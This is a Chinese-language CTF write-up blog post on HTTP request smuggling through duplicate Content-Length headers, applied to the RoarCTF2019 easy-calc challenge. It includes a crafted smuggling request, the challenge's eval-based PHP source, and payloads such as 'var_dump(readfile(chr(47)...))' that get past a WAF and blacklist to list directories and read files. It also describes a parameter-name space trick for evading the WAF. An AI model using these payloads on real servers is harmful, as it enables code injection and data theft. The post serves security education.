<!DOCTYPE html>
<html>
  <head><meta name="generator" content="Hexo 3.9.0">
<meta name="google-site-verification" content="fQ_tfBgNjE9NQcpKnGAkWapHoKuimF5lVuNuqpPXar0">
    <meta charset="utf-8">
    
    <title>HTTP走私漏洞-RoarCTF2019-easycalc | Xiao Leung&#39;s Blog</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    
    
      <link rel="icon" href="/favicon.png">
    

    <link rel="stylesheet" href="/css/style.css">

    <link rel="stylesheet" href="/js/google-code-prettify/tomorrow-night-eighties.min.css">

  </head>

  <body>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body></html>
<header>

	<a id="logo" href="/" title="Xiao Leung&#39;s Blog">
	<img src="/favicon.png" alt="Xiao Leung&#39;s Blog"></a>
	
	
		<!--搜索栏-->
		<i class="js-toggle-search iconfont icon-search"></i>


<form class="js-search search-form search-form--modal" method="get" action="http://gushi.li" role="search">
	<div class="search-form__inner">
		<div>
			<i class="iconfont icon-search"></i>
			<input class="text-input" placeholder="Enter Key..." type="search">
		</div>
	</div>
</form>
	

	
		<!--侧边导航栏-->
		<a id="nav-toggle" href="#"><span></span></a>

<nav>
	<div class="menu-top-container">
		<ul id="menu-top" class="menu">
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/2019/08/01/HelloWorld/" target="_blank">AboutMe</a>
				</li>
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/HXCTF/" target="_blank">HXCTF</a>
				</li>
			
		</ul>
	</div>
</nav>
	

</header>

<div class="m-header ">
	<section id="hero1" class="hero">
		<div class="inner">
		</div>
	</section>
	
		<figure class="top-image" data-enable=true></figure>
	
</div>

<!--文章列表-->
<div class="wrapper">
  
    <!--文章-->
<article>
	
  
    <h1 class="post-title" itemprop="name">
      HTTP走私漏洞-RoarCTF2019-easycalc
    </h1>
  

	<div class='post-body mb'>
		<h2 id="HTTP走私漏洞"><a href="#HTTP走私漏洞" class="headerlink" title="HTTP走私漏洞"></a>HTTP走私漏洞</h2><h3 id="Cl-Cl"><a href="#Cl-Cl" class="headerlink" title="Cl-Cl"></a>Cl-Cl</h3><p>​        以一个http包为例，这个数据包中存在两个Cl，按照正常规则如果存在两个Cl并且两个Cl的值不等时候，服务器会返回400错误，但是总有服务器不会严格执行规范，中间服务器在接受到这个请求后会按照第一个<code>Content-Length</code>对请求进行处理，但是这个请求包发到后端服务器就会按照第二个<code>Content-length</code>进行处理，这要就导致了一个问题，第二个<code>Content-Length</code>长度比第一个<code>Content-length</code>少一位，这要在第二次处理这个数据包的时候<code>a</code>就会没有被读取到从而留在了缓冲区，但是我们知道HTTP和普通的TCP不一样，存在一个 <code>Keep-Alive</code> 会导致TCP重用，那么下一个请求包就会把a拼接进去导致错误。（参考资料：<a href="https://paper.seebug.org/1048/）" target="_blank" rel="noopener">https://paper.seebug.org/1048/）</a></p>
<p>构造的恶意请求包：</p>
<pre><code class="http">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a</code></pre>
<p>第二次被拼接的请求包：</p>
<pre><code class="http">aPOST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a</code></pre>
<p>​        那么如果服务器严格遵循规范呢？存在两个Cl就直接400岂不是没法用了？这里又引申了一个问题，这样如果第一个前端服务器是nginx用于转发docker的流量而这个前端服务器存在一个waf，那么就可能导致这个waf失效，完整转发我们恶意代码，RoarCTF的easy-calc就是这样的问题。</p>
<h3 id="RoarCTF2019-easycalc"><a href="#RoarCTF2019-easycalc" class="headerlink" title="RoarCTF2019-easycalc"></a>RoarCTF2019-easycalc</h3><hr>
<p>题目源码：</p>
<pre><code class="php">&lt;?php
error_reporting(0);
if(!isset($_GET[&#39;num&#39;])){
    show_source(__FILE__);
}else{
        $str = $_GET[&#39;num&#39;];
        $blacklist = [&#39; &#39;, &#39;\t&#39;, &#39;\r&#39;, &#39;\n&#39;,&#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;`&#39;, &#39;\[&#39;, &#39;\]&#39;,&#39;\$&#39;,&#39;\\&#39;,&#39;\^&#39;];
        foreach ($blacklist as $blackitem) {
                if (preg_match(&#39;/&#39; . $blackitem . &#39;/m&#39;, $str)) {
                        die(&quot;what are you want to do?&quot;);
                }
        }
        eval(&#39;echo &#39;.$str.&#39;;&#39;);
}
?&gt; </code></pre>
<ul>
<li><p>题目源码比较简单，绕过方式和国赛lovemath一样或者使用取反方式绕过</p>
</li>
<li><p>但是这里存在一个问题这个环境存在waf只能够使用这些字符：<code>%&amp;.,(*/-+)&lt;=&gt;?;:@\~}|{0123456789</code></p>
</li>
<li><p>这里就是上面说的方法，使用两个CL导致前端服务器400，但是完整转发了HTTP请求，从而导致执行waf被绕过导致执行恶意代码。</p>
</li>
<li><p>这里构造payload与lovemath一致，使用<code>base_convert(&quot;scandir&quot;,36,10);</code>也就是说将36进制转换为10进制，具体请参考国赛lovemath.然后将10进制转换为36进制那么就可以构造出来scandir，别人的write  up的payload是<code>base_convert(61693386291,10,36)(hex2bin(dechex(47)));</code>,dechex()将10进制转16进制，而hex2bin是将16进制转char，但是我不知为什么他们要这么搞，这里并没有过滤scandir,甚至构造‘/’根本用不上十进制转16进制再转char，而是直接可以用AIISC转char。而且很多队伍解法一样，目测py的很多。</p>
</li>
<li><p>最终payload： <code>base_convert(2146934604002,10,36(hex2bin(dechex(47)).base_convert(25254448,10,36))</code></p>
</li>
<li><p>我的payload：<code>var_dump(scandir(chr(47)));</code></p>
</li>
<li><p>最终payload：<code>var_dump(readfile(chr(47).base_convert(25254448,10,36)));</code></p>
</li>
</ul>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20191017/15712450236096.png" alt="img"></p>
<hr>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20191017/1571245047649.png" alt="img"></p>
<h3 id="非预期解"><a href="#非预期解" class="headerlink" title="非预期解"></a>非预期解</h3><p>​    PHP中会对传入的参数名去取空格或者替换为下划线字符。（<a href="https://www.freebuf.com/articles/web/213359.html）如本次比赛的num前面加个空格即可绕过waf" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/213359.html）如本次比赛的num前面加个空格即可绕过waf</a>.</p>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20191019/15714458007264.png" alt="img"></p>

	</div>
	<div class="meta split">
		
			<span>本文总阅读量 <span id="busuanzi_value_page_pv"></span> 次</span>
		
		<time class="post-date" datetime="2019-10-16T15:16:38.000Z" itemprop="datePublished">2019-10-16</time>
	</div>
</article>

<!--评论-->

	
<div class="ds-thread" data-thread-key="2019-10-16-HTTP走私漏洞-RoarCTF2019-easycalc" data-title="HTTP走私漏洞-RoarCTF2019-easycalc" data-url="http://www.plasf.cn/2019/10/16/2019-10-16-HTTP走私漏洞-RoarCTF2019-easycalc/"></div>
<script type="text/javascript">

var duoshuoQuery = {short_name:"yumemor"};
	(function() {
		var ds = document.createElement('script');
		ds.type = 'text/javascript';ds.async = true;
		ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
		ds.charset = 'UTF-8';
		(document.getElementsByTagName('head')[0]
		 || document.getElementsByTagName('body')[0]).appendChild(ds);
	})();
</script>


  
</div>


  <svg id="bigTriangleColor" width="100%" height="40" viewBox="0 0 100 102" preserveAspectRatio="none">
    <path d="M0 0 L50 100 L100 0 Z"></path>
  </svg>

  


  <div class="wrapper"></div>





<div class="fat-footer">
	<div class="wrapper">
		<div class="layout layout--center">
			<div class="layout__item palm-mb">
				<div class="media">
					<img class="headimg" src='/assets/blogImg/litten.png' alt='XiaoLeung'>
					<div class="media__body">
						<h4>兵至如归-Xiaoleung&#39;s Blog</h4>
						<p class='site-description'>Don&#39;t forget why we started</p>
					</div>
				</div>
				<div class="author-contact">
					<ul>
						
							
							<li>
				        		<a href="https://github.com/sharpleung" target="_blank">
				        			
				        				<i class="iconfont icon-github"></i>
				        			
				        		</a>
				        	</li>
						
					</ul>
				</div>
			</div>
		</div>
	</div>
</div>

<footer class="footer" role="contentinfo">
	<div class="wrapper wrapper--wide split split--responsive">
<a href="http://beian.miit.gov.cn/">粤ICP备18132442号-1</a><br>
<a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=44011202000643" style="display:inline-block;text-decoration:none;height:20px;line-height:20px;"><img src="http://beian.gov.cn/img/ghs.png" style="float:left;"/><p style="float:left;height:20px;line-height:20px;margin: 0px 0px 0px 5px; color:#939393;">粤公网安备 44011202000643号</p></a><br>

		
			<span>本站总访问量 <span id="busuanzi_value_site_pv"></span> 次, 访客数 <span id="busuanzi_value_site_uv"></span> 人次</span>
		
		<span>Theme by <a href="http://github.com/justpsvm">justpsvm</a>. Powered by <a href="http://hexo.io">Hexo</a></span>
	</div>
</footer>

	<!-－这里导入了 lib.js 里面涵盖了 jQuery 等框架 所以注释掉-->
	<!--<script src="http://lib.sinaapp.com/js/jquery/2.0/jquery.min.js"></script>-->
	<script src="/js/lib.js"></script>
	<script src="/js/google-code-prettify/prettify.js"></script>
	<script src="/js/module.js"></script>
	<script src="/js/script.js"></script>
	
		<script async src="http://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>
	
	<script type='text/javascript'>
		//代码高亮
		$(document).ready(function(){
	 		$('pre').addClass('prettyprint linenums').attr('style', 'overflow:auto;');
   			prettyPrint();
		});
	</script>
	<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script><script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>

<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
 <script type="text/javascript"> /* 鼠标点击特效 - 7Core.CN */ var a_idx = 0;jQuery(document).ready(function($) {$("body").click(function(e) {var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正" ,"法治", "爱国", "敬业", "诚信", "友善");var $i = $("<span/>").text(a[a_idx]); a_idx = (a_idx + 1) % a.length;var x = e.pageX,y = e.pageY;$i.css({"z-index": 100000000,"top": y - 20,"left": x,"position": "absolute","font-weight": "bold","color": "#ff6651"});$("body").append($i);$i.animate({"top": y - 180,"opacity": 0},1500,function() {$i.remove();});});}); </script>

